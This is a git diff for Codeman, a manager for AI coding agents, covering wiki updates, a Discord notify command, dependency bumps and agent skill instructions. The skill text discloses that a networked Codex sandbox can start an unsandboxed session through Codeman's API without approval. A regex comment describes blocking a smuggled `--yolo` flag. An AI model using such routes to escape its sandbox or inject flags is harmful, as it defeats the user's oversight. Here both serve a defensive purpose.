+- **The tab opens on the session's first window,** and the row describes that same window.
+- **It joins like a second tmux client.** While the tab is open it can resize a session
+  someone else is viewing, the way any second client does, and that reverses when it closes.
+- **A short line in the block says why a session is missing.** One whose name holds unusual
+  characters is skipped, and so is one named so that tmux reads the name as something else (it
+  starts with `=`, `@` or `%`, or is a bare `~`). Rename it with `tmux rename-session`. A tmux
+  server that stopped answering costs only its own sessions. One case gets no line: a session
+  named `codeman-*` or `claudeman-*`, or on a Codeman socket, counts as Codeman's own.
+
+Only sockets in tmux's own folder are scanned, so `tmux -L <name>` is found and
+`tmux -S /custom/path` is not. In multi-user mode the block is for admins, since it shows
+everyone's processes.
+
 ## Panels
 
 | Panel            | Opened from                       | Covered in                                                       |

docs/wiki/Troubleshooting.md

@@ -221,6 +221,17 @@ Things to try:
 Codex with mouse tracking on gets the wheel forwarded like fullscreen Claude; otherwise
 it pages its transcript or scrolls locally, while `Shift+Wheel` always uses local scrollback.
 
+### The wheel does nothing in a pi session
+
+Fullscreen pi, the default since pi 1.0.0, scrolls its own transcript, so the wheel is
+forwarded to it while it has mouse tracking on. If the wheel does nothing, turn off
+**Wheel Scrolls Local History**: that setting keeps the wheel on a local buffer pi leaves
+empty, and pi has no paging fallback. `PageUp` and `PageDown` on a keyboard still reach pi.
+
+Codeman strips pi's mouse enables, so a drag selects text in the browser rather than using
+pi's own selection or scrollbar drag. With `tuiMode: regular` pi is inline and the wheel
+scrolls local history.
+
 ### Selected text is invisible on a light skin
 
 Update. Every skin named its selection colour under a key xterm renamed in v5, so the four
@@ -246,6 +257,20 @@ If you are sending input over the API instead, your payload must end with `\r` o
 is ever sent. The request still succeeds and the text sits unsubmitted in the composer. See
 [Driving Codeman From An Agent](Driving-Codeman-From-An-Agent).
 
+### Persian, Arabic or Hebrew looks wrong in the terminal
+
+The terminal is xterm.js, which does not support right-to-left text yet
+([xtermjs/xterm.js#701](https://github.com/xtermjs/xterm.js/issues/701)). It puts each
+character in its own cell from left to right, so a sentence comes out reversed, and the
+default WebGL renderer also draws the letters unjoined. Codeman cannot fix that without
+replacing the terminal.
+
+Read the answer in **Last Response** instead, where it lays out right to left, or open a
+Markdown file in the [File Viewer](Working-With-Files). On desktop, turning off **WebGL
+Renderer** in **App Settings → Terminal & Input** and reloading joins the letters, so each
+word reads correctly, but the words of a sentence still run left to right. Phones already
+use that renderer.
+
 ## Mobile
 
 ### The keyboard covers the terminal, or scroll position jumps
@@ -329,6 +354,21 @@ Start the stack with `bash docker/Start-Codeman.sh` rather than a plain `docker
 and update: since 1.29.0 the entrypoint corrects a root-owned bind mount before dropping
 privileges. See [Running As A Service](Running-As-A-Service).
 
+### Compose: `CODEMAN_PASSWORD is still the example value "changeme"`
+
+`Start-Codeman.sh` and `Update-Codeman.sh` refuse that password before they build or stop
+anything, because the container publishes its port on every interface and holds the Docker
+socket, so whoever signs in controls Docker on the host. Set a real password in `docker/.env`
+and run the script again.
+
+### Compose: `Codeman did not come up`, or no answer after 180 seconds
+
+`Start-Codeman.sh` waits for the server after `up -d`. `did not come up` means the container
+exited, restarted or went unhealthy, and the script prints its last log lines. `has not
+answered after 180 seconds` means it is still running but silent, so on a slow host it may
+just need longer: follow it with `docker compose logs -f codeman` from `docker/`. Either way
+the script exits 1, and `--no-wait` skips the wait for scripts that check on their own.
+
 ### A remote SSH session dropped and did not come back
 
 A bounded-backoff watcher reattaches dropped sessions, and it is on by default. Intentional
@@ -353,7 +393,7 @@ On an HTTPS install, add `-k` to the curl commands and use the `https://` URL.
 Open an [issue](https://github.com/Ark0N/Codeman/issues) with:
 
 - OS and version.
-- Install method: installer, npm, or git clone.
+- Install method: installer (with or without git), npm, or git clone.
 - `codeman --version`.
 - Browser and version, if the problem is in the UI.
 - Which CLI the session was running, and its version.

docs/wiki/Watching-Agents-Work.md

@@ -77,7 +77,9 @@ Turning on either starts the watcher.
 
 **Last Response** (header button, opt-in) renders the agent's last answer as scrollable text
 rather than terminal output. It exists mostly for phones, where reading a long answer in a
-terminal viewport is painful. **More** loads additional context.
+terminal viewport is painful. **More** loads additional context. Persian, Arabic and Hebrew
+answers read right to left here, which the terminal cannot do, while code and the file paths
+it links stay left to right.
 
 ## After the fact
 

docs/wiki/Working-With-Files.md

@@ -6,15 +6,25 @@ until you get home.
 
 ## The File Viewer
 
-A panel that browses the active session's working directory. Its header button is on by
-default; if it is missing, re-enable it in **App Settings → Header & Panels**.
+A panel that browses the active session's working directory, or the git worktree its agent
+moved into ([Git Worktrees](Git-Worktrees#when-an-agent-moves-into-a-worktree)). Its header
+button is on by default; if it is missing, re-enable it in **App Settings → Header & Panels**.
+
+The panel and its search list up to 5,000 files and folders per load, shallow levels first and
+taking turns between folders, so one huge folder cannot use up that limit before the ones after it,
+or the folders inside it, get a turn. They also stop opening folders after reading 250,000 entries,
+so a workspace with several enormous folders can still leave later ones unread. When a workspace is
+bigger than either limit the status line says `(truncated)`, and an expanded folder the scan did
+not finish shows **Not fully scanned** rather than looking empty. A folder that does not answer,
+such as a network mount that went away, is skipped rather than waited on and is marked the same way,
+so a search can miss what is inside it. The panel's Refresh button tries it again.
 
 It renders what it can:
 
 | Kind                     | Behaviour                                                                 |
 | ------------------------ | ------------------------------------------------------------------------- |
 | Text and code            | Plain preview with Lines (line numbers) and Wrap toggles in the header. Long files are truncated in plain preview. |
-| Markdown                 | Rendered by default: headings, tables, code blocks with copy buttons, images and links relative to the file (root-relative ones resolve from the workspace root, as on GitHub). Links to another heading of the same file (`[Install](#installation)`) scroll to it, with GitHub's heading names (lower-case, punctuation dropped, repeats numbered `-1`, `-2`), and never leave the page. Opened from an attachment card, where the file's folder is unknown, relative images show their alt text and relative links show as plain text. The MD pill in the header flips to source. |
+| Markdown                 | Rendered by default: headings, tables, code blocks with copy buttons, images and links relative to the file (root-relative ones resolve from the workspace root, as on GitHub). Links to another heading of the same file (`[Install](#installation)`) scroll to it, with GitHub's heading names (lower-case, punctuation dropped, repeats numbered `-1`, `-2`), and never leave the page. Opened from an attachment card, where the file's folder is unknown, relative images show their alt text and relative links show as plain text. Persian, Arabic and Hebrew read right to left, each block following its own first letter, while code stays left to right. The MD pill in the header flips to source. |
 | Images                   | Inline.                                                                    |
 | Audio and video          | Inline with a working scrub bar, because range requests are supported.     |
 | Spreadsheets (`.xlsx`)   | Read-only grid, parsed in your browser (never on the server), up to 10 MB. `.xls` and `.ods` are download only. |
@@ -87,7 +97,10 @@ detected at once would fork ten multi-minute converter processes.
 
 File paths in a session are links. That works in two places:
 
-- **In the terminal**, on any absolute path an agent prints.
+- **In the terminal**, on any path an agent or a command prints. A relative path (`src/app.ts`,
+  `../notes.md`) resolves against the directory the session's pane is in now, so after a `cd`
+  in a shell it opens the file there; until the pane reports a directory, and always for remote
+  SSH and Docker cases, it resolves against the session's working directory.
 - **In the response viewer**, where paths are usually written as prose or in backticks. They
   render as underlined monospace links. A Markdown link whose target is a path
   (`[report](/tmp/run/report.json)`, the way Codex cites files) opens the same way.
@@ -123,9 +136,11 @@ can send what it can read to any host, open HTML only from sources you trust, as
 your own desktop. The **Page**
 pill in the viewer header switches to the source view (where **Edit** works as for any text
 file), and the viewer falls back to source on its own when a page cannot be rendered: a remote
-(SSH) case, an HTML file inside a hidden folder, or one sitting directly in a broad folder such
-as your home folder or `/tmp` (the page may read the files in its own folder tree, so move it
-into a folder of its own). The raw file routes still serve HTML as a download only.
+(SSH) case, an HTML file inside a hidden folder (which includes `.claude/worktrees/<name>` after
+an agent [moved into a worktree](Git-Worktrees#when-an-agent-moves-into-a-worktree)), or one
+sitting directly in a broad folder such as your home folder or `/tmp` (the page may read the
+files in its own folder tree, so move it into a folder of its own). The raw file routes still
+serve HTML as a download only.
 
 Text previews are capped at the first 500 lines, fetched as a partial read, so clicking a
 one-gigabyte log does not try to paint one.
@@ -144,8 +159,8 @@ session uses: one `realpath` plus `stat` probe for the file and the workspace ro
 streamed `cat` (or a slice of it, so video seeking works). Symlinks are resolved on the host
 that can resolve them, the size cap applies to the remote size before a byte is requested,
 and an unreachable host answers 502 rather than pretending the file is missing. Nothing is
-ever copied onto the Codeman host, and a same-named local file is never served under a
-remote name.
+ever copied onto the Codeman host, apart from the diffs the [edit history](#edit-history)
+stores, and a same-named local file is never served under a remote name.
 
 Not available over ssh, and said so with a 400 instead of a misleading 404: editing in
 place, Office previews and generated thumbnails (both need the bytes on the server's disk),
@@ -154,25 +169,38 @@ their workspace is bind-mounted at the same path.
 
 ## The path picker
 
-For choosing a path rather than typing one. It appears in two places:
+For choosing a path rather than typing one. It appears in these places:
 
 - **Browse** in **Add Case → Link Existing**.
+- **Browse** in **Add Case → Create New**, under **Create in a custom folder**.
+- **Browse** in **Add Case → Clone Repo**, under **Clone into a custom folder**.
+- **Browse** on the folder fields of **Add Case → Docker**.
 - The **📁 Path** key on the mobile keyboard bar.
 
-It browses one directory at a time and can show hidden entries on request. The current
-folder is an editable field: type or paste a path and press Enter (or **Go**) to jump
-straight there, and a full file path lands in its folder with that file selected. The
-**Sort** control orders each listing by name or by modified time (newest first is the
-quick way to the file an agent just wrote), with folders always ahead of files; the
-choice is remembered per device. The picker inserts the path into your prompt
-**without** pressing Enter, so nothing is submitted by accident. Its sibling **⌫ All**
-key clears the unsent prompt, and never sends the agent's `/clear` command.
+It browses one directory at a time and can show hidden entries on request (the Docker
+**Container Workdir** picker always lists them). The current folder is an editable
+field: type or paste a path and press Enter (or **Go**) to jump straight there, and a
+full file path lands in its folder with that file selected. The **Sort** control orders
+each listing by name or by modified time (newest first is the quick way to the file an
+agent just wrote), with folders always ahead of files; the choice is remembered per
+device. A **Browse** button fills the field beside it. The **📁 Path** key inserts the
+path into your prompt **without** pressing Enter, so nothing is submitted by accident.
+Its sibling **⌫ All** key clears the unsent prompt, and never sends the agent's `/clear`
+command.
+
+In the **Link Existing**, **Create New** (custom folder) and **Clone Repo** (custom folder)
+pickers, **+📁** (New folder) makes a folder inside the folder you are viewing and selects
+it. Names use letters, numbers, spaces and `_ - . ~` (not starting with a dot or `~`). The
+cases folder is refused, since every folder there is already a case: pick a folder outside
+it, or make the case with **Add Case → Create New** or **Clone Repo** (no custom folder).
 
 This is a separate file-serving surface from the viewer, with its own rules: it allowlists
 your home directory, the cases directory, and anything in `CODEMAN_FILE_PICKER_ROOTS`, and
 blocks sensitive trees. In multi-user mode a non-admin gets only their own user space as a
 root, because per-user spaces live inside the home directory and a home-directory root would
-expose everyone.
+expose everyone. The Docker **Container Workdir** picker lists the inside of the container
+instead, read-only, so these host rules do not apply to it; it is admin-only in multi-user
+mode.
 
 ## Files into a session
 
@@ -272,6 +300,69 @@ data comes from `GET /api/sessions/:id/git-status`, `GET /api/sessions/:id/git-d
 click or the interval you turned on, `POST /api/sessions/:id/git-fetch`
 (see the [API reference](https://github.com/Ark0N/Codeman/blob/master/docs/api-reference.md)).
 
+## Edit history
+
+The Git panel shows what is different now. The edit history shows what the agent did, one edit
+at a time, including edits that were later undone or committed. Turn on **App Settings → Header &
+Panels → Header → Edit history** (per device, off by default) and a clock button appears in the
+header next to Attachments. It is not shown on phones.
+
+Click it for a draggable window listing the active session's edits, newest first:
+
+- One row per Edit or Write, with `new` for a file the agent created, `edit` otherwise,
+  and the lines added and removed. **Click a row** to see that edit's diff inline, coloured like the
+  Git panel; a diff over 64 KB is cut short. **Click the path** to open the file in the preview.
+- Edits made by subagents carry a chip with the subagent's task; hover it for the agent type and
+  its worktree branch. **Main agent only** hides them. **Group by file** puts the edits under
+  their file, with the totals on the file's row.
+- Images an agent produced with a shell command (a render, a plot, a screenshot) appear as rows with
+  a thumbnail: a `.png`, `.jpg`, `.gif`, `.webp`, `.avif` or `.svg` path named in the command or
+  its output counts when the file's modification time falls within that command's run. Images the
+  agent sent you count as well. Images outside the workspace and SVGs show no thumbnail. Click one
+  to open it in the preview.
+- **Load older** reads further back in the conversation, in the main agent's transcript and the
+  subagents' alike (up to three transcripts per click; with more, they take turns).
+- After `/clear` or a resume, the edits of the earlier conversation stay listed, and the window
+  first catches up on the ones it had not read yet. **Load older** then goes back within the new
+  conversation.
+
+It works for Claude sessions, local and remote (SSH). Docker sessions, other CLIs' sessions and
+tmux sessions opened outside Codeman say so instead.
+A remote session's images show no thumbnail (each would be one more SSH read); click one to
+preview it. A remote host that is asleep is never woken for the history: the window shows the
+stored edits with the SSH error on top.
+
+How it reads:
+
+- **Only while you look.** The history is read from the session's Claude transcript when you open
+  the window, and again after each tool call that can change files and at the end of each turn,
+  while it stays open on that session (a remote session at the end of each turn only: its host
+  sends no tool events). A closed window reads nothing, and Codeman does no work in the
+  background for sessions nobody looks at.
+- **The transcript is found through the session's hooks.** Each prompt tells Codeman where the
+  session's transcript is. Right after a server restart, before the next prompt, Codeman looks in
+  the session's `CLAUDE_CONFIG_DIR` if you set one for it in Codeman, else in the default config
+  directory. A `CLAUDE_CONFIG_DIR` set outside Codeman (in a shell profile or a wrapper script)
+  is only known after the next prompt; until then the window says "No transcript found for this
+  session yet". A remote session's transcript is looked up on its host over SSH: the
+  conversation its Claude writes now, else the most recently written of the one the window
+  showed last and the session's own, under the remote user's `~/.claude`, or under
+  `CLAUDE_CONFIG_DIR` when the host sets it for every SSH command (`.zshenv`,
+  `/etc/environment`); one set only in `.profile`, `.bash_profile` or `.zshrc` is not seen.
+- **The history is stored, and it holds secrets.** Every diff an agent wrote is copied to
+  `~/.codeman/edit-history/<session-id>.json`, including API keys or `.env` contents it edited. The file is
+  readable by your user only, capped at 500 edits and 4 MiB of diff text per session (the oldest
+  are dropped), never part of search, blocked from every file route, and deleted when you delete
+  the session (a file left behind, by a crash for instance, goes at the next start). A pinned session you kill keeps its record and its history until you unpin and
+  delete it.
+- **Images go through the existing file routes.** A thumbnail inside the workspace uses the File
+  Viewer's route. An image outside it opens like any clicked path outside the workspace (no
+  notification, same file-type allowlist and sensitive-file blocklist). No new route serves a file.
+
+The data comes from `GET /api/sessions/:id/edits`, `GET /api/sessions/:id/edits/:entryId` and
+`POST /api/sessions/:id/edits/older` (see the
+[API reference](https://github.com/Ark0N/Codeman/blob/master/docs/api-reference.md)).
+
 ## Gotchas
 
 - **The viewer follows the active session's workspace.** Switching tabs changes what you are

docs/wiki/_Sidebar.md

@@ -25,6 +25,7 @@
 
 - [Unattended Runs](Keeping-Agents-Running)
 - [Notifications & Approvals](Notifications-And-Approvals)
+- [Discord Bridge](Discord-Bridge)
 - [Cron Jobs](Cron-Jobs)
 - [Autonomous Loops](Autonomous-Loops)
 - [Watching Agents Work](Watching-Agents-Work)

package-lock.json

@@ -1,12 +1,12 @@
 {
   "name": "aicodeman",
-  "version": "1.47.0",
+  "version": "1.49.0",
   "lockfileVersion": 3,
   "requires": true,
   "packages": {
     "": {
       "name": "aicodeman",
-      "version": "1.47.0",
+      "version": "1.49.0",
       "hasInstallScript": true,
       "license": "MIT",
       "workspaces": [
@@ -63,7 +63,7 @@
         "exceljs": "4.4.0",
         "fflate": "0.8.3",
         "pixelmatch": "^6.0.0",
-        "playwright": "^1.58.0",
+        "playwright": "^1.64.1",
         "pngjs": "^7.0.0",
         "postcss": "^8.5.15",
         "prettier": "^3.4.0",
@@ -9736,50 +9736,32 @@
       }
     },
     "node_modules/playwright": {
-      "version": "1.60.0",
-      "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.60.0.tgz",
-      "integrity": "sha512-hheHdokM8cdqCb0lcE3s+zT4t4W+vvjpGxsZlDnikarzx8tSzMebh3UiFtgqwFwnTnjYQcsyMF8ei2mCO/tpeA==",
+      "version": "1.64.1",
+      "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.64.1.tgz",
+      "integrity": "sha512-HCrVhHr5QQuwYoswEUGTb7gGp522yflbv/ST8nF4sFWGuLjQCt17Q/EubpGGSNKYn1tsTCPZxqHhHCfVURu7UA==",
       "dev": true,
       "license": "Apache-2.0",
       "dependencies": {
-        "playwright-core": "1.60.0"
+        "playwright-core": "1.64.1"
       },
       "bin": {
         "playwright": "cli.js"
       },
       "engines": {
-        "node": ">=18"
-      },
-      "optionalDependencies": {
-        "fsevents": "2.3.2"
+        "node": ">=20"
       }
     },
     "node_modules/playwright-core": {
-      "version": "1.60.0",
-      "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.60.0.tgz",
-      "integrity": "sha512-9bW6zvX/m0lEbgTKJ6YppOKx8H3VOPBMOCFh2irXFOT4BbHgrx5hPjwJYLT40Lu+4qtD36qKc/Hn56StUW57IA==",
+      "version": "1.64.1",
+      "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.64.1.tgz",
+      "integrity": "sha512-BC4s8y6SEVA6Q1rSxZTto8hI1KUI3xXlHGZgvGqP4IqPdI/a6FX9H29IDNz7vKo9l21b6LfYosScPL6M3xxyDQ==",
       "dev": true,
       "license": "Apache-2.0",
       "bin": {
         "playwright-core": "cli.js"
       },
       "engines": {
-        "node": ">=18"
-      }
-    },
-    "node_modules/playwright/node_modules/fsevents": {
-      "version": "2.3.2",
-      "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
-      "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
-      "dev": true,
-      "hasInstallScript": true,
-      "license": "MIT",
-      "optional": true,
-      "os": [
-        "darwin"
-      ],
-      "engines": {
-        "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
+        "node": ">=20"
       }
     },
     "node_modules/pngjs": {

package.json

@@ -1,6 +1,6 @@
 {
   "name": "aicodeman",
-  "version": "1.47.0",
+  "version": "1.49.0",
   "description": "Self-hosted mission control for AI coding agents: run Claude Code, Codex, OpenCode, Gemini, DeepSeek, Grok and more 24/7 in tmux, from any device.",
   "mcpName": "io.github.Ark0N/codeman",
   "type": "module",
@@ -133,7 +133,7 @@
     "exceljs": "4.4.0",
     "fflate": "0.8.3",
     "pixelmatch": "^6.0.0",
-    "playwright": "^1.58.0",
+    "playwright": "^1.64.1",
     "pngjs": "^7.0.0",
     "postcss": "^8.5.15",
     "prettier": "^3.4.0",

plugins/codeman/.claude-plugin/plugin.json

@@ -1,7 +1,7 @@
 {
   "name": "codeman",
   "description": "Drive Codeman, the self-hosted session manager for AI coding agents, from inside a Claude Code session: spawn worker sessions, prompt them, wait for them, read their answers, clean up. Acts inside a Codeman-managed session; outside one it only reads saved Codex conversations offline.",
-  "version": "1.47.0",
+  "version": "1.49.0",
   "author": {
     "name": "Ark0N",
     "url": "https://github.com/Ark0N"

plugins/codeman/skills/codeman/SKILL.md

@@ -77,16 +77,20 @@ retrying.
   can ask the user to run a command outside its sandbox (Codex can), re-run **the same
   command** once that way, never a different one; if the user declines, stop. For lasting
   access in Codex, the user turns on **Allow network access** (Codeman App Settings,
-  Codex) and starts a new Codex session: it opens the network wherever Codex runs the
-  folder workspace-write, and keeps the sandbox and approvals. A folder Codex runs
-  read-only still needs the per-command approval (or `/permissions`). **Bypass approvals
-  and sandbox** works everywhere but drops the sandbox and approvals.
+  Codex) and starts a new Codex session. Tell them what it costs first: it applies to
+  every new local Codex session, and commands in Codex's sandbox can then call Codeman's
+  API, which can start a session outside the sandbox with no approval prompt, even when
+  a password is set. It opens the network wherever Codex runs the folder workspace-write
+  and does not change the sandbox mode: a folder Codex runs read-only keeps the network
+  closed, so each call still needs the per-command approval (or `/permissions`).
+  **Bypass approvals and sandbox** works everywhere but drops the sandbox and approvals.
 - **`"${CURL[@]}" -o /dev/null -w '%{http_code}' "$API/api/v1/sessions/$SELF"` prints
   `404`.** The commands you run do not carry this session's environment: Codex can run them in a shared background
   process another session started, so `$CODEMAN_SESSION_ID` (and with it `$SELF` and
-  the delete guard) is that session's. Delete nothing; tell the user. Codeman starts
-  Codex 0.162 and later with `--no-daemon` to prevent this, so seeing it means an older
-  Codex or a server that predates that.
+  the delete guard) is that session's. Delete nothing; tell the user. Codeman starts a
+  local Codex 0.162 or later with `--no-daemon` to prevent this, so seeing it means a
+  Codex started without that flag: an older Codex, a local session whose version Codeman
+  could not read, a remote or Docker session, or a server that predates it.
 
 ⚠️ **Your shell state does not survive between tool calls.** Each Bash call starts a
 fresh shell, so `$API`, `$SELF`, the `CURL` array and `delete_session` are all gone by

scripts/git-hooks.mjs

@@ -218,6 +218,11 @@ function canonicalPath(path) {
  * @returns {string | null}
  */
 export function resolveGitHooksDir(repoRoot) {
+  // Not a checkout at all (a source-archive or npm install): answer without running
+  // git. On a Mac without the Xcode Command Line Tools `/usr/bin/git` is a stub that
+  // opens Apple's "install the developer tools" dialog, and this runs on every
+  // `npm install`. `.git` is a directory in a clone and a file in a worktree.
+  if (!existsSync(join(repoRoot, '.git'))) return null;
   try {
     const top = git(repoRoot, ['rev-parse', '--show-toplevel']);
     if (!top || realpathSync(top) !== realpathSync(repoRoot)) return null;

skills/codeman/SKILL.md

@@ -77,16 +77,20 @@ retrying.
   can ask the user to run a command outside its sandbox (Codex can), re-run **the same
   command** once that way, never a different one; if the user declines, stop. For lasting
   access in Codex, the user turns on **Allow network access** (Codeman App Settings,
-  Codex) and starts a new Codex session: it opens the network wherever Codex runs the
-  folder workspace-write, and keeps the sandbox and approvals. A folder Codex runs
-  read-only still needs the per-command approval (or `/permissions`). **Bypass approvals
-  and sandbox** works everywhere but drops the sandbox and approvals.
+  Codex) and starts a new Codex session. Tell them what it costs first: it applies to
+  every new local Codex session, and commands in Codex's sandbox can then call Codeman's
+  API, which can start a session outside the sandbox with no approval prompt, even when
+  a password is set. It opens the network wherever Codex runs the folder workspace-write
+  and does not change the sandbox mode: a folder Codex runs read-only keeps the network
+  closed, so each call still needs the per-command approval (or `/permissions`).
+  **Bypass approvals and sandbox** works everywhere but drops the sandbox and approvals.
 - **`"${CURL[@]}" -o /dev/null -w '%{http_code}' "$API/api/v1/sessions/$SELF"` prints
   `404`.** The commands you run do not carry this session's environment: Codex can run them in a shared background
   process another session started, so `$CODEMAN_SESSION_ID` (and with it `$SELF` and
-  the delete guard) is that session's. Delete nothing; tell the user. Codeman starts
-  Codex 0.162 and later with `--no-daemon` to prevent this, so seeing it means an older
-  Codex or a server that predates that.
+  the delete guard) is that session's. Delete nothing; tell the user. Codeman starts a
+  local Codex 0.162 or later with `--no-daemon` to prevent this, so seeing it means a
+  Codex started without that flag: an older Codex, a local session whose version Codeman
+  could not read, a remote or Docker session, or a server that predates it.
 
 ⚠️ **Your shell state does not survive between tool calls.** Each Bash call starts a
 fresh shell, so `$API`, `$SELF`, the `CURL` array and `delete_session` are all gone by

src/cli-notify.ts

@@ -0,0 +1,129 @@
+/**
+ * @fileoverview `codeman notify`: post to this tab's Discord thread (POST /api/sessions/:id/discord-notify).
+ *
+ * A CLI that is blocked on something only the user can do (a physical step, a blocker, a timed-out
+ * wait) runs this. It reads CODEMAN_SESSION_ID and CODEMAN_API_URL, which Codeman sets in every
+ * session, and the shared credentials, so the caller handles no auth. `runNotify` returns what to
+ * print and the exit code instead of exiting, so a test can drive it.
+ *
+ * @module cli-notify
+ */
+
+import http from 'node:http';
+import https from 'node:https';
+import { isAbsolute, join } from 'node:path';
+import { readCodemanCredentials } from './codeman-credentials.js';
+
+const REQUEST_TIMEOUT_MS = 30_000;
+
+export interface NotifyOptions {
+  message: string;
+  urgent?: boolean;
+  file?: string;
+  session?: string;
+  url?: string;
+}
+
+export interface NotifyResult {
+  code: number;
+  out?: string;
+  err?: string;
+}
+
+export type JsonPost = (
+  apiUrl: string,
+  apiPath: string,
+  payload: unknown,
+  timeoutMs?: number
+) => Promise<{ status: number; error?: string; delivery?: { ok: boolean; error?: string } }>;
+
+/** POST JSON to the Codeman API with the same credentials `codeman attach` uses. Status 0 means no answer. */
+export const postJson: JsonPost = (apiUrl, apiPath, payload, timeoutMs = REQUEST_TIMEOUT_MS) => {
+  const { username, password } = readCodemanCredentials();
+  const url = new URL(apiPath, apiUrl);
+  const body = JSON.stringify(payload);
+  const transport = url.protocol === 'https:' ? https : http;
+  return new Promise((resolveOnce) => {
+    // Settle once: a response that stalls after its headers ends in 'close' without 'end'.
+    let settled = false;
+    const resolve: typeof resolveOnce = (v) => {
+      if (settled) return;
+      settled = true;
+      resolveOnce(v);
+    };
+    const headers: Record<string, string | number> = {
+      Accept: 'application/json',
+      'Content-Type': 'application/json',
+      'Content-Length': Buffer.byteLength(body),
+    };
+    if (password) headers.Authorization = `Basic ${Buffer.from(`${username}:${password}`).toString('base64')}`;
+    const req = transport.request(
+      {
+        protocol: url.protocol,
+        hostname: url.hostname,
+        port: url.port,
+        method: 'POST',
+        path: `${url.pathname}${url.search}`,
+        rejectUnauthorized: false,
+        headers,
+        timeout: timeoutMs,
+      },
+      (res) => {
+        let text = '';
+        res.on('data', (c) => (text += c));
+        res.on('error', () => resolve({ status: 0 }));
+        res.on('close', () => resolve({ status: 0 }));
+        res.on('end', () => {
+          let error: string | undefined;
+          let delivery: { ok: boolean; error?: string } | undefined;
+          try {
+            const body = JSON.parse(text) as { error?: string; data?: { ok?: unknown; error?: string } };
+            error = body.error;
+            // A 200 only says Codeman took the request; `data.ok` says whether Discord took the post.
+            if (typeof body.data?.ok === 'boolean') delivery = { ok: body.data.ok, error: body.data.error };
+          } catch {
+            /* not JSON */
+          }
+          resolve({ status: res.statusCode ?? 0, error, delivery });
+        });
+      }
+    );
+    // A server that takes the connection and never answers must not hang the agent: status 0 is "no answer".
+    req.on('timeout', () => req.destroy());
+    req.on('error', () => resolve({ status: 0 }));
+    req.write(body);
+    req.end();
+  });
+};
+
+export async function runNotify(
+  opts: NotifyOptions,
+  env: NodeJS.ProcessEnv,
+  cwd: string,
+  post: JsonPost = postJson
+): Promise<NotifyResult> {
+  const sessionId = opts.session || env.CODEMAN_SESSION_ID;
+  const apiUrl = opts.url || env.CODEMAN_API_URL;
+  if (!sessionId || !apiUrl) {
+    return { code: 1, err: 'notify must run inside a Codeman session (CODEMAN_SESSION_ID and CODEMAN_API_URL)' };
+  }
+  const payload: { message: string; urgent?: boolean; file?: string } = { message: opts.message };
+  if (opts.urgent) payload.urgent = true;
+  if (opts.file) payload.file = isAbsolute(opts.file) ? opts.file : join(cwd, opts.file);
+  const { status, error, delivery } = await post(
+    apiUrl,
+    `/api/sessions/${encodeURIComponent(sessionId)}/discord-notify`,
+    payload
+  );
+  if (status >= 200 && status < 300) {
+    if (delivery?.ok === false) {
+      return { code: 1, err: `Could not post to Discord${delivery.error ? `: ${delivery.error}` : ''}` };
+    }
+    return { code: 0, out: 'Posted to Discord' };
+  }
+  // The bridge being off is not a failure: the caller just says it in the terminal.
+  if (status === 409) return { code: 0, out: 'The Discord bridge is off. Say it in the terminal instead.' };
+  if (status === 429)
+    return { code: 1, err: 'Too many messages to Discord from this tab. Wait a minute, then send one.' };
+  return { code: 1, err: `Could not post to Discord${error ? `: ${error}` : status ? ` (HTTP ${status})` : ''}` };
+}

src/cli.ts

@@ -16,6 +16,7 @@ import { isAbsolute, join } from 'node:path';
 import { homedir } from 'node:os';
 import { dataPath } from './config/instance.js';
 import { readCodemanCredentials } from './codeman-credentials.js';
+import { runNotify } from './cli-notify.js';
 import { casePath } from './config/cases-dir.js';
 import { assertValidBasePath } from './config/base-path.js';
 import {
@@ -92,6 +93,22 @@ async function postAttachment(apiUrl: string, sessionId: string, filePath: strin
   });
 }
 
+program
+  .command('notify <message>')
+  .description(
+    "Post a message to this tab's Discord thread (needs the user: a physical step, a blocker, a timed-out wait)"
+  )
+  .option('--urgent', 'Ping the user')
+  .option('--file <path>', 'Send a file from the session folder with the message')
+  .option('-s, --session <id>', 'Codeman session ID (defaults to CODEMAN_SESSION_ID)')
+  .option('--url <url>', 'Codeman API URL (defaults to CODEMAN_API_URL)')
+  .action(async (message: string, options) => {
+    const { code, out, err } = await runNotify({ message, ...options }, process.env, process.cwd());
+    if (out) console.log(code === 0 && out.startsWith('Posted') ? palette.ok(`✓ ${out}`) : out);
+    if (err) console.error(palette.err(`✗ ${err}`));
+    process.exit(code);
+  });
+
 program
   .command('attach <path>')
   .description('Show an attachment card for a local file')

src/config-backup.ts

@@ -53,6 +53,7 @@ export const CONFIG_BACKUP_FILES = [
   'clis.json',
   'custom-model-hosts.json',
   'webhook.json',
+  'discord.json',
   'intents.json',
   'linked-cases.json',
   'remote-hosts.json',
@@ -794,6 +795,7 @@ const REDACT_ALL_FILES: ReadonlySet<string> = new Set([
   'users.json',
   'push-keys.json',
   'webhook.json',
+  'discord.json',
   'intents.json',
 ]);
 /** Elsewhere a value is hidden when its own key looks like a credential. */

src/config/cli-registry/patterns.ts

@@ -21,6 +21,7 @@ export type TokenPattern =
   | 'model'
   | 'model-claude'
   | 'model-plain'
+  | 'model-plain-colon'
   | 'model-pi'
   | 'id'
   | 'id-dotted'
@@ -47,6 +48,10 @@ const PATTERNS: Record<TokenPattern, RegExp> = {
   // copilot --model. Same characters as `model`, but a leading alphanumeric: the value follows a
   // flag, so `--yolo` must not pass as a model id and become its own flag (the allowAll clamp bypass).
   'model-plain': /^[a-zA-Z0-9][a-zA-Z0-9._\-/]*$/,
+  // codex --model, and the value a custom-model `launchModel` is forced onto it. Same
+  // shape as `model-plain` (leading alphanumeric, so a flag cannot ride the flag) plus
+  // `:`, since Ollama-style ids like `qwen3:32b` must survive onto the command line.
+  'model-plain-colon': /^[a-zA-Z0-9][a-zA-Z0-9._\-/:]*$/,
   // buildPiCommand — `:` for a thinking suffix (`sonnet:high`), `/` for `provider/id`
   'model-pi': /^[a-zA-Z0-9._\-/:]+$/,
   // opencode --session, codex resume

src/config/cli-registry/schema.ts

@@ -80,6 +80,7 @@ const paramSpecSchema = z.union([
         'muxName',
         'effortLevel',
         'effortSettingsJson',
